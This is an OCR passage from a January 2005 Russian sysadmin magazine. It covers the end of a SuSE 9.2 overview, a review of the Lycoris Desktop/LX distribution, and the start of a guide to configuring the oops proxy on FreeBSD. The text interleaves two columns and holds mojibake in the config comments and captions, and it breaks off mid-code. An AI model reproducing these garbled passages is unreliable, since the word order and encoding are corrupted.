chkrootkit, инструментал для создания новомодных Live- чите точную копию с оригинала SuSE. Работа с этими
CD – cloop и средство протоколирования аварийных за- копиями и описана выше.
вершений panicsel. За это выкидываем без колебаний 3. Полная FTP-версия и обновления к «коробочному» вы-
cellular и coldsync! пуску: http://www.suse.com/en/private/download/ftp/int_
! А вот этого и в самом деле жаль directory_administrator, mirrors.html.
logsurfer, webmin. Но, может, кого-то утешит появление 4. Как модифицировать дистрибутив: http://www.baraba-
необычайно нужного серверного средства dnsmasq. Шут- nov.ru/arts/how-to-modify-suse-dvd.html. Рекомендуется
ка, конечно. Хотя полностью верно в отношении ulogd. добавить к установочному DVD последние обновления,
! И вот он – знак прогресса! Нет теперь этого музейного что поможет сократить онлайновые апдейты.
экспоната inetd, который уже давно является бесполез- 5. Список пакетов, размещенных только на DVD: http://
ным дублем xinetd. А в утешение снова вернули симу- www.barabanov.ru/arts/suse92overview/suse92-dvd-cd.list
лятор историчеких версий UNIX – simh. Аналогично вы- 6. Покупка бокса: http://www.linuxcenter.ru/goods/1083.html.
кинут iSilo, но добавлен могучий dx от IBM. 7. Список пакетов, дополнительно удаленных с имиджа
! Оказался ненужным url_get. Вместо этого появился но- двухслойного DVD: http://www.barabanov.ru/arts/suse92
вый сетевой бэкап sesam_srv и монитор openhpi. overview/suse92-removed.list.
! Наконец кто-то догадался, что у xterm слишком много 8. Нестандартные добавления к SuSE: http://ftp.gwdg.de/
клонов, и выкинул eterm и wterm. К огорчению юниксо- pub/linux/suse. Рекомендую добавить к установочному
вых снобов, выкинут новый VI клон nvi и ставшие не- DVD последние обновления, что поможет сократить он-
нужными rusers и rwall. лайновые апдейты.
! Выкинут deliver и bulk_mailer, но добавлен почтовый сер- 9. Различия в наборах пакетов для разных архитектур: http://
вер dovecot и обработчик входящей почты otrs. www.barabanov.ru/arts/suse92overview/x86_64-i586.diff.
! Стал для разработчиков SuSE не нужен и прекрасный 10. Список пакетов первого CD в порядке установки: http://
веб-редактор quanta. Зато снова вернулся Tomcat в виде www.barabanov.ru/arts/suse92overview/suse92-cd1-table.rep.
tomcat5 и вместе с struts и даже с servletapi. 11. Список пакетов дистрибутива SuSE 9.2 в порядке уста-
! Как известно, производители ERP-систем переживают новки: http://www.barabanov.ru/arts/suse92overview/
кризис. И вот следствие. Зачем SuSE спонсоры, которые suse92-dvd-table.rep.
не платят денег. Резолюция – выкинуть! Так избавились 12. Различия в составе дистрибутивов SuSE 9.2 и 9.1: http://
от sapdb. Но поскольку теперь Linux-прогресс двигают но- www.barabanov.ru/arts/suse92overview/suse92-suse91.diff.
вые «лошадки», IBM и Novell, то они накидали в дистри- 13. Скриншот suse92, Wine Rack 9.0 и Internet Explorer v.6:
бутив своего любимого всякого java-подобного puretls, oro, http://www.barabanov.ru/arts/suse92overview/suse92-wine-
netcomponents, mx4j и еще очень много в разделе noarch ie6.png.

№1, январь 2005 7


администрирование

LINUX ИЗ РЕДМОНДА:
ОБЗОР LYCORIS DESKTOP/LX

ВАЛЕНТИН СИНИЦЫН
Как и многое в этом мире, дистрибутив Lycoris Desktop/LX ще любят ассоциировать свои продукты и вездесущие
берет свое начало в 2000 году. На рубеже веков человек по «окна» в глазах потенциальных покупателей, однако немно-
имени Джозеф Чик (Joseph Cheek) решил сделать на базе гим из них удавалось сделать это столь тонко и изящно.
Linux систему, доступную каждому, а заодно занять пусту- Под данной торговой маркой компания успела выпустить
ющую нишу настольных операционных систем для дома. свой первый продукт, Redmond Linux Personal (декабрь 2001
Для достижения этой цели им была создана компания года), а затем, в январе 2002 года сменила имя на геополи-
Redmond Linux Corp., зарегистрированная в Редмонде (штат тически нейтральное «Lycoris» (произносится «лайкорис»,
Вашингтон). По странному стечению обстоятельств там же официальный сайт http://www.lycoris.com) и некоторое вре-
располагалась (и до сего момента располагается) штаб- мя спустя перебралась в городок Мэпл Уэлли (Maple Valley).
квартира корпорации Microsoft, поэтому многие стали рас- Как было сказано в официальном пресс-релизе, ребрен-
сматривать это название не как производную от местопо- динг являлся частью подготовки к продвижению на новые
ложения фирмы, а как тонкий намек на эквивалентность рынки и расширению модельного ряда. Последнее не зас-
Windows. Производители настольных дистрибутивов вооб- тавило себя ждать. Redmond Linux превратился в Lycoris

8
администрирование
Desktop/LX1. Для взыскательных пользователей был создан рия (правда, слегка повредив специальную обработку-«лай-
трехдисковый Lycoris Desktop/LX Deluxe со средствами раз- коризацию»), так что особых проблем это не вызывало.
работки и исходными текстами, для владельцев «наладон- «Под капотом» Desktop/LX 1.4, фактический выпуск ко-
ников» – PocketPC Edition (ныне это направление развития торой состоялся в сентябре 2004 года, скрывается Linux
заморожено в связи с отсутствием ресурсов). В июле 2003 2.4.27, XFree86 4.4.0 и KDE 3.2.3. В качестве офисного па-
года появилась на свет и версия для суб-ноутбуков – Desktop/ кета используется KOffice. Пользователям, предпочитаю-
LX Tablet Edition. Помимо этого, компания предлагает раз- щим OpenOffice.org, придется раскошелиться на Lycoris
личные дополнения (Pack), например, ProductivityPak и ProductivityPak (40 долларов). Одним из крупных нововве-
GamePak, речь о которых пойдет ниже. дений в версии 1.4 является специальная редакция Power
Первые версии дистрибутива распространялись бес- Pack, включающая все возможности Desktop/LX Deluxe плюс
платно, а компания взимала деньги лишь с тех, кто желал CrossOver Office и btX2, закрытую технологию обработки и
приобрести коробочную версию. В конце прошлого – нача- отображения шрифтов, разработанную компанией Bitstream.
ле этого года данная бизнес-стратегия была пересмотрена Все это удовольствие стоит 80 долларов. До настоящего вре-
и бесплатная Download Edition превратилась в оценочную мени единственным средством совместимости с Windows,
версию (Evaluation Edition), срок использования которой доступным пользователям Lycoris Desktop/LX, был Wine.
ограничен 45 днями, а максимальное число компьютеров, Любители поиграть могли также приобрести Gamepack (не-
работающих под ее управлением, – пятью. Кроме этого, сколько свободно распространяемых игр + 1 месяц подпис-
Evaluation Edition включает только открытые приложения. ки на WineX, 30 долларов). Кроме того, в данный момент
Коммерческая версия не имеет подобных ограничений (т.е. Lycoris широко рекламирует AI2 («AI в квадрате») – систе-
может быть установлена на произвольное число компью- му, обеспечивающую тесную интеграцию сторонних прило-
теров, но только для некоммерческого применения) и сто- жений с Desktop/LX, но, к сожалению, опробовать ее в дей-
ит 40 (Desktop/LX) или 50 (Desktop/LX Deluxe) долларов плюс ствии мне так и не удалось.
еще пять, если вы предпочитаете красивую коробку обыч-
ному ISO-образу (или не имеете возможности загрузить Первое знакомство
несколько сотен мегабайт). В комплект поставки входит С чего начинается Lycoris Desktop/LX?. Как это ни парадок-
30-страничное руководство по инсталляции, 60 дней тех- сально, с «ящерицы». Именно так, в переводе с английско-
нической поддержки по электронной почте (максимум 3 ин- го, называется инсталлятор этой системы – Lizard. Впро-
цидента), а также Product ID, уникальный код, с помощью чем, если вам придет в голову вставить дистрибутивный
которого можно получить доступ к дополнительным услу- диск в привод компьютера, работающего под управлением
гам, представляемым Lycoris, например, фирменной кол- Microsoft Windows, вы увидите не его, а стандартный мас-
лекции программ Iris (http://iris.lycoris.com). В свою очередь тер а-ля InstallShield, который предложит вам ознакомить-
Lycoris Desktop/LX Evaluation Edition доступен для загрузки ся с лицензией, выбрать способ установки (с CD-ROM или
с FTP-архива Ibiblio (ftp://ftp.ibiblio.org) и многочисленных гибких дисков) и перезагрузить систему.
зеркал. Его поддержка обеспечивается через сайт сообще- В процессе инсталляции обнаружилась одна неприят-
ства Lycoris (http://www.lycoris.org), где находится форум, ная особенность. Расположенный на компакт-диске с дист-
полезные советы, списки часто задаваемых вопросов и рибутивом GRUB отказывался загружать ядро на системах,
даже кое-какие программы, собранные энтузиастами. Боль- имеющих менее 600 Кб свободной «нижней» памяти (lower
шая часть из них, к сожалению, подустарела. memory). Это имеет место на ноутбуках, собранных на базе
В данной статье мы рассмотрим возможности и некото- процессора Transmeta Crusoe. Чтобы решить данную про-
рые детали устройства ОС Lycoris Desktop/LX 1.4 Evaluation блему, мне пришлось загрузить уже установленный на ком-
Edition. пьютере Mandrakelinux, смонтировать в нем образ загру-
зочного диска Desktop/LX, скопировать ядро и организовать
Генезис загрузку через LILO. Дальше все пошло как по маслу. Ин-
В основе Desktop/LX лежит дистрибутив Caldera OpenLinux, сталлятор автоматически обнаружил CD-ROM с программ-
который в свою очередь базируется на ранних версиях Red ными пакетами (судя по выводу на экран, я мог бы также
Hat. На сегодняшний день Caldera в образе SCO Group ве- разместить их на жестком диске или разделе NFS), после
дет войну с миром Open Source, поэтому на помощь в под- чего был запущен упомянутый выше Lizard. Независимо от
держании «фундамента» Lycoris рассчитывать не приходит- того, сделали вы это в Windows-мастере или нет, «ящери-
ся. Это накладывает на систему своеобразный отпечаток: ца» предложит вам принять лицензионное соглашение. Из
вплоть до текущего выпуска в качестве рабочего стола по указанных в нем вещей нас сейчас будет особенно интере-
умолчанию в Desktop/LX использовался KDE 2. Впрочем, совать список компонентов, разработанных самой Lycoris2.
приобретенная в наследство от Red Hat пакетная система Согласно данному документу, это My Linux System, Network
(RPM) позволяла особенно охочим до всего нового пользо- Browser, панель управления Desktop/LX Control Panel и со-
вателям поставить KDE 3.x из любого удобного репозита- путствующие конфигурационные утилиты (Remote access

1
Компания настаивает на том, чтобы ее продукт называли «Lycoris Desktop/LX» или на худой конец просто «Desktop/LX», но уж никак не
«Lycoris». Уважая права автора на свое произведение, мы будем следовать этому требованию неукоснительно.
2
Как правило, выискивать области, подвергшиеся специальной доработке, приходится вручную. А тут – на тебе: на блюдечке с голубой
каемочкой.

№1, январь 2005 9


администрирование
control, Firewall control), поддержка протокола «exec:» для графический менеджер входа в систему. Используйте одну
Konqueror (KIO_EXEC) и собственно инсталлятор (Software из учетных записей, созданных в процессе инсталляции.
installer). Все перечисленные программы распространяют- Первое, что бросается в глаза при виде рабочего стола
ся свободно. Desktop/LX, – это прозрачная панель (см. рис 1). Несмотря
Памятуя об излишне «умном и самостоятельном» ин- на простоту эффекта, это выглядит очень стильно. Запус-
сталляторе Linspire, хочется отметить, что Lizard предостав- тив одно-два приложения KDE, можно заметить, что все они
ляет пользователю куда большую свободу действий. Осо- используют визуальную тему Plastik. Как правило, разра-
бых похвал заслуживает опция «Обновить существующую ботчики настольных дистрибутивов стремятся создать свое
систему» («Update Existing Installation»). В том, что касает- собственное оформление, но, видимо, в Lycoris решили не
ся разметки жесткого диска, Lizard предлагает несколько изобретать велосипед и воспользоваться уже готовым ре-
вариантов: использовать весь HDD, только свободное (не- шением. К сожалению, это негативно сказалось на качестве
размеченное) пространство, выбрать раздел или произве- интеграции: приложения KDE и GNOME (например, входя-
сти разбиение вручную. Правда, к бочке меда прилагается щие в стандартную поставку Desktop/LX GIMP 2 или Lycoris
своя ложка дегтя: поддерживается только файловая систе- Web Suite, он же – Mozilla 1.7.3) выглядят по-разному.
ма ext3. Имеющиеся на диске разделы подкачки инсталля-
тор определяет и подключает автоматически.
Процедура копирования пакетов в Lizard реализована
весьма оригинально. Она начинается сразу же после раз-
биения жесткого диска и продолжается в фоновом режи-
ме, о чем свидетельствует полоска-индикатор в нижней
части экрана. Вы же тем временем продолжаете настрой-
ку своей будущей системы: указываете параметры сети,
создаете пользователей (к чести создателей Desktop/LX
отметим, что программа явным образом отделяет пароли
обычных пользователей от системного пароля root, хотя их
проверка на прочность опять же не производится), выбира-
ете тип модема и видеокарты (оба списка достаточно об-
ширны), указываете свой часовой пояс и включаете заг-
рузку «других ОС» (по-видимому, под этим термином по-
нимается Windows. По крайней мере стоящий на соседнем
разделе Mandrakelinux инсталлятор проигнорировал). По- Ðèñóíîê 1. Ðàáî÷èé ñòîë Lycoris Desktop/LX 1.4
кончив с этими делами, вы можете скоротать минуты, ос- На самом рабочем столе легко заметить пиктограммы
тавшиеся до конца инсталляции, раскладывая пасьянс. My Linux System и Network Browser, заменяющих «Мой ком-
При выборе видеокарты советую вам быть особо осто- пьютер» и «Сетевое окружение», соответственно. Еще один
рожными с адаптерами типа «Generic SVGA». По не вполне из упомянутых в прошлом разделе компонентов, Desktop/
понятной мне причине их поддержка в Lycoris Desktop/LX LX Control Panel, скрывается в главном меню (пункт System
обеспечивается не XFree86 4.4.0, а XFree86 3.3.6, которая Management). Все три утилиты выдержаны в едином стиле,
также входит в состав дистрибутива. Если до этого вы ус- по своей структуре напоминающем соответствующие диа-
пели выбрать более «продвинутый» вариант (скажем, nvidia), логи Windows (рис. 2), и реализованы очень оригинальным
возникнет патовая ситуация – файл настроек X-сервера образом. Как нетрудно догадаться, они базируются на
будет содержать инструкции для XFree86 4.x, но при этом Konqueror. На самом деле, панели навигации в окнах My
символическая ссылка «X» будет указывать на более ста- Linux System/Network Browser, а также различные разделы
рый сервер. В результате после перезагрузки система не панели управления – это просто HTML-страницы, шаблоны
сможет перейти в графический режим и вам придется вно- которых хранятся в каталоге /usr/share/RedmondLinux/HTML,
сить правки вручную из командной строки и vi. Добро по- а сопутствующие сценарии на языке оболочки – в /opt/
жаловать в Linux! redmondlinux/bin. Вызов сторонних утилит (например, «ап-
Закончив с установкой, извлеките диск из привода CD- плетов» Control Panel) осуществляется посредством специ-
ROM и приготовьтесь войти в прекрасный мир Lycoris. ального протокола «exec:» (компонент KIO_EXEC, реали-
зованный программистами Lycoris). Для обзора сети
Встречают по одежке... Windows или локальных дисков используются протоколы,
После успешной перезагрузки и выбора правильной (в моем включенные в состав KDE по умолчанию, такие как smb,
случае – единственно возможной) опции в меню GRUB, вы file, devices. Лично мне подобное решение кажется весьма
увидите графическую заставку с фирменной эмблемой удачным, и я рекомендую разработчикам иметь его в виду
Lycoris (цветочком «Flower Logo»). О том, что компьютер не при создании каких-либо утилит для KDE. Взаимосвязь
завис, свидетельствует полоска-индикатор в правом нижнем Desktop/LX Control Panel с Konqueror имеет еще один нео-
углу экрана. Впрочем, вы можете посмотреть, что происхо- жиданный эффект. Работая с панелью управления, вы мо-
дит «за кулисами», нажав волшебную кнопку <F2>. После жете использовать вкладки (tabs), как и при просмотре
подгрузки модулей ядра, монтирования файловых систем и обычных веб-страниц. Это позволяет более эффективно ис-
старта всех необходимых демонов вам будет представлен пользовать рабочее пространство.

10
администрирование
дний появляется автоматически, если вставить в привод CD-
ROM диск с приложением Win32 (функция autorun) или по-
пытаться запустить его (приложение) иным образом3. На
практике у меня не получилось запустить в Wine ни одной
программы. Возможно, это связано с тем, что эмулятор
настроен на работу в системе с существующим Windows-
разделом (или попросту не настроен).
Для расширения возможностей дистрибутива суще-
ствует репозитарий программ Iris Software Gallery (http://
iris.lycoris.com). Работа с ним осуществляется с помощью
специального мастера, однако для этого необходим иден-
тификатор Product ID (т.е. коммерческая лицензия на
Desktop/LX). На сегодняшний день в Iris представлено чуть
менее 400 (против 1900 в Linspire Click-n-Run Warehouse)
пакетов, сгруппированных в 10 разделах. Здесь можно най-
Ðèñóíîê 2. Âñå ýòî – ïðîñòî HTML-ñòðàíèöû, îòêðûòûå â îêíå ти средства разработки (но не gcc, который, как мы помним,
Konqueror. Êòî áû ìîã ïîäóìàòü? является частью Desktop/LX Deluxe), пакет русификации
Как и каждый уважающий себя настольный дистрибу- KDE, файловые менеджеры Midnight Commander и Krusader,
тив, Lycoris Desktop/LX 1.4 содержит «джентльменский ми- HTML-редактор Bluefish и т. д. В отличие от все того же CNR,
нимум: Adobe Acrobat Reader, Macromedia Flash 7, Java доступ к Iris бесплатен, если не считать стоимости Product
Runtime Environment (JRE) 1.4 и RealPlayer 8. Все перечис- ID и не ограничен по времени. Желающие могут также на-
ленные продукты доступны в качестве подключаемых мо- строить систему под свои собственные нужды, установив
дулей к Lycoris Web Suite. Предыдущая версия дистрибути- необходимое ПО из обычных RPM-пакетов.
ва включала также небольшое аудиоруководство, подобное Lycoris Desktop/LX позволяет удобно работать со съем-
тому, что поставляется вместе с Linspire, но сейчас оно куда- ными носителями информации. Компакт-диски, Flash-«брел-
то исчезло. Зато наряду со шрифтами семейства Bitstream ки» и прочая «мелочь» автоматически распознаются и мон-
Vera имеются также шрифты Bitstream Delta Hinted Fonts. тируются системой. К моему великому удивлению, я не на-
Среди этого многообразия глифов можно отыскать и буквы шел опции для отключения USB-носителей (размонтирова-
кириллического алфавита (рис. 3). Официальной поддерж- ние компакт-дисков происходит автоматически при попыт-
ки русского в Lycoris Desktop/LX, конечно, нет, однако про- ке извлечь их из привода).
грамм, входящих в стандартный комплект поставки вполне
достаточно для минимальной русификации на уровне ори- Провожают по...
гинальных версий Knoppix. Для переключения раскладок В заключение попробуем вывести «формулу Desktop/LX».
можно использовать стандартные средства KDE. Дистрибутив создает ощущение чего-то домашнего, столь
часто встречающееся в любительских проектах и столь ред-
кое в коммерческих решениях. Однако это не сказывается
на качестве продукта, которое остается весьма высоким,
хотя и не идеальным (вспомним про проблемы с загрузкой
ядра, X Window System и Wine). По сравнению с альтерна-
тивными вариантами Lycoris Desktop/LX неплохо русифи-
цирован, и мне даже приходилось слышать о его сторонни-
ках, проживающих на территории РФ. К минусам системы
можно отнести не слишком большой выбор доступного ПО
(при существующем многообразии 400 наименований это
почти капля в море) и отсутствие OpenOffice.org в стандар-
тном комплекте поставки.
Однако все эти недостатки так или иначе преодолимы,
а цена на данный продукт не очень высока даже по отече-
ственным меркам. Если вы не стремитесь иметь систему,
Ðèñóíîê 3. Âñòðîåííûå ñðåäñòâà èíòåðíàöèîíàëèçàöèè которая бы думала за вас, имеете достаточный опыт рабо-
ïîçâîëÿþò õóäî-áåäíî ïèñàòü íà ðîäíîì ÿçûêå ты с компьютером и всего лишь опасаетесь командной стро-
Совместимость с Windows обеспечивается офисным ки, попробуйте найти оценочную версию Desktop/LX. Быть
пакетом KOffice, в принципе умеющим читать и сохранять может, вам понравится дистрибутив, рожденный прямо под
документы в форматах, поддерживаемых Microsoft Office носом у корпорации Microsoft?
(хотя OpenOffice.org справляется с этой задачей гораздо Автор выражает благодарность Шабунио Ю.А. за идеи,
лучше) и эмулятором Wine. Предложение запустить после- высказанные при написании данной статьи.

3
Кстати, чтобы открыть файл в Lycoris Desktop/LX, достаточно щелкнуть по нему мышью всего один раз. Это может показаться непривыч-
ным.

№1, январь 2005 11


администрирование

ПРОКСИ-СЕРВЕР OOPS:
ПЕРВЫЕ ВПЕЧАТЛЕНИЯ

СЕРГЕЙ СУПРУНОВ
Что такое прокси-сервер, пояснять, думаю, не требуется. доступ в Интернет имеют не более десятка пользователей
Для UNIX-машин стандартом де факто является Squid. Про- и особого контроля ни за трафиком, ни за правами доступа
веренный временем, отлично документированный, мощный, не требуется, он выглядел несколько избыточно. И вот пос-
он способен удовлетворить большинство запросов систем- ле нескольких лет безупречной службы Squid был безжа-
ных администраторов. Однако для моей сети, в которой лостно деинсталлирован, и его место занял oops.

12
администрирование
Установку на свой сервер (FreeBSD 5.3) я выполнял из се с указанным IP-адресом, а не на всех имеющихся интер-
портов с помощью утилиты portupgrade: фейсах.
Следующий полезный параметр – userid. Здесь нужно
# portupgrade oops задать имя или UID пользователя, с правами которого бу-
дет работать oops. По умолчанию это пользователь oops.
На этапе конфигурирования порта (см. рис. 1) нужно Если вы используете другого – не забудьте внести соответ-
включить поддержку DB4 – она понадобится для работы с ствующие изменения до инициализации базы кэша.
кэшем. Далее следуют параметры logfile, accesslog и pidfile. Ус-
тановите те пути, которые у вас используются. Для лог-фай-
лов попутно можно задать параметры ротации.
В файл statistics (по умолчанию /var/run/oops/oops_
statfile) раз в минуту сбрасывается текущая статистика вида:
clients :7
uptime : 181 sec.
http_requests : 287
http_hits : 82
icp_requests :0
req_rate : 2/s
hits_rate : 28%
free_space : 99%

Назначение указанных параметров перечислено в таб-


лице:
Ðèñóíîê 1
Нужный порт будет установлен при этом автоматически.
Также можно включить поддержку MySQL или PostgreSQL
для хранения базы авторизации. На вопрос о том, нужно
ли создать пользователя oops, с правами которого будет
работать прокси-сервер, был дан положительный ответ. В
принципе можно использовать и существующего пользо- Вернемся к конфигурации. Параметры mem_max и
вателя (например, nobody или оставшегося от Squid одно- lo_mark позволяют ограничивать количество оперативной
именного пользователя), главное – не забыть подправить памяти, потребляемой прокси-сервером. С помощью сле-
конфигурацию. дующих далее опций start_red и refuse_at можно управлять
Скудный man oops слегка опечалил. Справедливости количеством соединений, обслуживаемых одновременно.
ради нужно заметить, что и squid в этом смысле далек от Первая из них указывает число соединений, при котором
совершенства. Конфигурационный файл, по умолчанию /usr/ oops будет случайным образом «прореживать» очередь зап-
local/etc/oops/oops.cfg, документирован достаточно непло- росов, сбрасывая некоторые из них (так называемый алго-
хо. Может быть, не так пространно и красиво, как Squid, но ритм Early Drop). Если количество соединений все же дос-
зато ориентироваться в нем оказалось проще. тигнет определенного второй опцией, то все последующие
Для первого знакомства я решил настроить oops в про- запросы на соединение будут получать отказ.
стейшем варианте – кэширующий прокси-сервер без авто- Остальное можно оставить как есть. Разве что может
ризации с возможностью ограничивать максимальную ско- возникнуть желание поэкспериментировать с опцией force_
рость соединения для клиента в зависимости от его IP-ад- completion. По умолчанию она имеет значение 75, что озна-
реса. Переименовав oops.cfg.sample в oops.cfg, начинаем чает продолжение загрузки объекта, загруженного более
подстраивать его под свои нужды. чем на 75%, даже если соединение с клиентом, запросив-
Прежде всего нужно задать удобные для вас DNS-сер- шим объект, разорвется или клиент откажется от продол-
веры в параметрах nameserver. Обычно вполне достаточно жения закачки.
двух – основного, с которым будет идти работа, и резерв- Далее следуют описания различных acl, которые можно
ного на всякий случай. Я просто продублировал то, что зна- рассматривать как переменные, используемые в дальней-
чится у меня в /etc/resolv.conf. шем. Для своей сети я ничего добавлять не стал – практи-
Далее при желании можете изменить номер порта, на чески все, что мне нужно, оказалось удобнее описать непос-
котором oops будет ожидать соединение – параметр редственно в секциях групп, о которых и пойдет речь ниже.
http_port. По умолчанию используется 3128. Если у вас за- Группу «paco», включенную по умолчанию (по крайней
пущен Squid, то для тестирования oops можно поставить мере во FreeBSD), вполне можно рассматривать как при-
другой порт и тренироваться на нем. мер – она содержит практически все параметры, которые
C помощью параметра bind, находящегося в этой же сек- могут быть использованы в настройках групп, и достаточ-
ции, можно заставить oops ожидать запросы на интерфей- но подробно прокомментирована. По умолчанию она обслу-

1
Например, ввод в адресной строке браузера адреса http://www.yandex.ru увеличит значение http_hits на 1 (запрошена одна страница), а
http_requests увеличится при этом на 30-40, поскольку для каждого объекта, размещаемого во внешнем файле (рисунки, css, js-файлы и т. д.)
формируется отдельный HTTP-запрос.

№1, январь 2005 13


администрирование
живает подсети 195.114.128/19, 127/8 и 195.5.40.93/32 (см. Например:
параметр networks). Если случайно диапазон ваших адре-
сов попадет в описанный для этой группы, то поменяйте http {
denydstdomain ru ;
этот параметр, чтобы данная группа оставалась исключитель- allow dstdomain narod.ru ;
но демонстрационной. Хотя никто, конечно, не запрещает }
вам использовать ее (в конце концов, в файле oops.cfg.sample
она останется неизменной) или, наоборот, вообще удалить. Эти правила запретят доступ ко всем доменам, кроме
Но мне удобнее, когда подсказки всегда под рукой. Еще об- «народных».
ратите внимание, что в эту группу попадает localhost. Как Если доменов, для которых вводятся те или иные огра-
правило, обращений к прокси-серверу с локальной машины ничения, достаточно много, то удобно их вынести в отдель-
не происходит, но если вы решите проверить его работу, ный файл (по одному в строке) и подключать его следую-
например, с помощью телнета «telnet localhost 3128», то дол- щим образом:
жны понимать, что обслуживание запроса будет выполнять-
ся согласно правилам этой группы (если, конечно, вы не оп- deny dstdomain include:baddomains.lst ;
ределите для localhost другую группу).
Рассмотрим подробнее пару моих групп: Более гибкое регулирование доступа обеспечивает ме-
ханизм перенаправлений, который будет рассмотрен ниже.
group ourlan { После секций групп следует секция storage, описываю-
networks 192.168.0.0/24;
badports [0:79],110,138,139,513,[6000:6010] ; щая параметры файла, который будет использоваться для
bandwidth 16k; хранения кэша. В отличие от Squid, хранение кэширован-
per_ip_bw 4k;
http { ных объектов в oops осуществляется в одном файле-хра-
allow dstdomain * ; нилище, а не в отдельных файлах для каждого объекта.
}
} Это несколько разгружает систему, поскольку заботу о за-
писи в кэш oops берет на себя, и по идее должно способ-
group ouradmin {
networks 192.168.0.25/32; ствовать увеличению скорости работы, но на моих мини-
badports [0:79],110,138,139,513,[6000:6010] ; мальных нагрузках это совершенно незаметно. С другой
http {
allow dstdomain * ; стороны, подобная схема ограничивает максимальный раз-
} мер файла значением 2 Гб. Если вам требуются большие
}
хранилища, соберите oops с поддержкой GigaBase.
В группу ourlan попадут все IP-адреса из указанных в В принципе можно создать несколько хранилищ, исполь-
параметре networks, если они не попали в более узкие груп- зуя нужное количество секций storage. Это может быть по-
пы. Принадлежность адреса к группе определяется в по- лезно для распределения базы по разным разделам жест-
рядке уменьшения маски. То есть адрес 192.168.0.25, фор- кого диска, если размеры каждого из них не позволяют
мально попадающий и в группу ourlan, и в группу ouradmin, выделить желаемое место на одном разделе, а также для
будет обслуживаться в соответствии с правилами группы преодоления вышеупомянутого ограничения на размер
ouradmin, несмотря на то что она описана позже. файла. Поскольку при этом скорость работы с кэшем дол-
Помимо определения допустимых адресов, для всех ма- жна ненамного, но снижаться, старайтесь по возможности
шин локальной сети, кроме машины администратора, за- использовать один файл.
дано ограничение скорости: для всей группы доступная по- Нужно заметить, что файлы-хранилища создаются во
лоса ограничивается значением 16 Кб/с, и дополнительно время инициализации, которой мы займемся немного поз-
для каждого клиента доступно не более 4 Кб/с. То есть в же, когда разберемся с конфигурацией. Процент занятос-
данном случае одновременно только 4 клиента смогут ра- ти кэша можно контролировать в приведенном выше фай-
ботать на максимально доступной им скорости. Если число ле /var/run/oops/oops_statfile или с помощью управляющей
клиентов возрастет, то доступные для всей группы 16 Кб/с утилиты oopsctl, которую мы скоро рассмотрим.
будут делиться между ними поровну. Например, при одно- Далее следуют секции модулей. Модуль lang позволяет
временной работе 8 пользователей из этой группы каждо- задать параметры перекодировки и кодировку по умолча-
му достанется по 2 Кб/с. нию. Шаблон HTML-файла сообщения об ошибках можно
При желании в секции http-группы можно более жестко описать в секции err, если хотите изменить вид, принятый
установить доступ к конкретным доменам – либо перечис- по умолчанию. Файл-шаблон задает вид страницы с сооб-
лить разрешенные в параметре allow, либо разрешить все, щением об ошибке, текст самого сообщения в процессе ра-
но запретить доступ к некоторым с помощью параметра боты подставляется вместо переменных %M (на языке, ука-
deny. Запрет или разрешение распространяется на сам ука- занном в параметре lang этой же секции) и %m (на англий-
занный домен и все его поддомены. Например, параметр ском языке).
«deny narod.ru» запретит доступ ко всем «народным» фай- Последующие модули в большинстве своем отвечают
лам, а «allow ru» разрешит посещать только сайты в зоне за авторизацию. Oops поддерживает хранение базы авто-
«ru». Также поддерживается одиночный символ «*», озна- ризации в текстовом файле (формировать его следует с
чающий любые домены. Если домен попадает как в прави- помощью утилиты htpasswd, входящей в состав Apache), в
ло allow, так и в deny, применяется то, которое точнее опи- базах MySQL или PostgreSQL.
сывает этот домен. Модуль redir позволяет задавать более гибкие условия

14
администрирование
фильтрации трафика, чем правила deny и allow в группах. # ßíäåêñà (êñòàòè, âû äàæå íå ñìîæåòå âûïîëíèòü ïîèñê â òîì æå
Помимо разрешения и запрета, запрос можно перенапра- # ßíäåêñå ïî çàïðîñó «altavista.com», ïîñêîëüêó â ðåçóëüòàòå
# áóäåò îòïðàâëåí çàïðîñ
вить на другой ресурс либо выполнить «внутреннюю» под- # «http://www.yandex.ru/yandsearch?rpt=rad&text=altavista.com»,
становку. В данной секции указывается полное имя фай- # êîòîðûé òàê æå áóäåò ñîîòâåòñòâîâàòü äàííîìó ïðàâèëó)
altavista.com http://yandex.ru
ла, содержащего правила «редиректа» (параметр file) и
шаблон сообщения о запрете доступа (параметр template). # Ïåðåíàïðàâëÿåò íà ya.ru âñå çàïðîñû, èìåþùèå öèôðû â ÷àñòè
# èìåíè, ñîîòâåòâòóþùåé äîìåíó 3-ãî óðîâíÿ, íàïðèìåð:
Файл правил (по умолчанию /usr/local/etc/oops/redir_rules) # http://www.max2.dom.ru/
содержит правила в следующем формате: # http://www3.w3c.org/index.html
http://.*[[:digit:]]+.*\.[[:alnum:]]+\.[a-z]{2,4}/.* ya.ru

Ðåãóëÿðíîå_âûðàæåíèå [Äåéñòâèå] # Â îòâåò íà ëþáîé çàïðîñ, çàâåðøàþùèéñÿ ñèìâîëàìè shtml,


# áóäåò âîçâðàùåíà ïóñòàÿ ñòðàíèöà (ñîäåðæèò òîëüêî òåã <br>)
shtml$ internal:nospam_empty
Регулярное выражение сопоставляется с адресом зап- # Áóäåò çàïðåùåí äîñòóï ê ëþáîìó ðåñóðñó, àäðåñ êîòîðîãî
рошенной страницы, и в случае соответствия по отноше- # çàêàí÷èâàåòñÿ èìåíåì ôàéëà page ñ îäíèì èç ïåðå÷èñëåííûõ
нию к данному запросу может быть выполнено одно из сле- # ðàñøèðåíèé
http://.*/page.(html|htm|phtml)$
дующих действий:
# Çàïðåùàåì äîñòóï êî âñåì ñàéòàì â çîíå com, äîìåííîå èìÿ
# êîòîðûõ èìååò äëèíó 7-9 ñèìâîëîâ (3-5 ïëþñ ".com") è äëÿ
# êîòîðûõ íå óêàçàíî èìÿ êîíêðåòíîãî ôàéëà èëè ïàïêè,
# íàïðèìåð: http://qwer.com/
http://.{3,5}\.com/?$

Если действие не указано, то пользователю возвраща- За пояснениями синтаксиса регулярных выражений мож-
ется страница «Просмотр страницы запрещен», созданная но обратиться, например, к странице справочного руковод-
на основе шаблона, указанного в параметре template. ства man grep(1), к разделу «REGULAR EXPRESSIONS».
«Внутренние» объекты компилируются вместе с oops. Приведенные выше правила на практике бесполезны, зато
В версии 1.5.23 файл redir.c содержит следующее опреде- хорошо демонстрируют различные возможности. Ниже при-
ление «внутренних» объектов: водится более полезный файл:

static internal_doc_t redir_internals[] = { # Çàïðîñ ê ßíäåêñó áóäåò ïåðåíàïðàâëåí íà «àñêåòè÷íûé ïîèñê»,


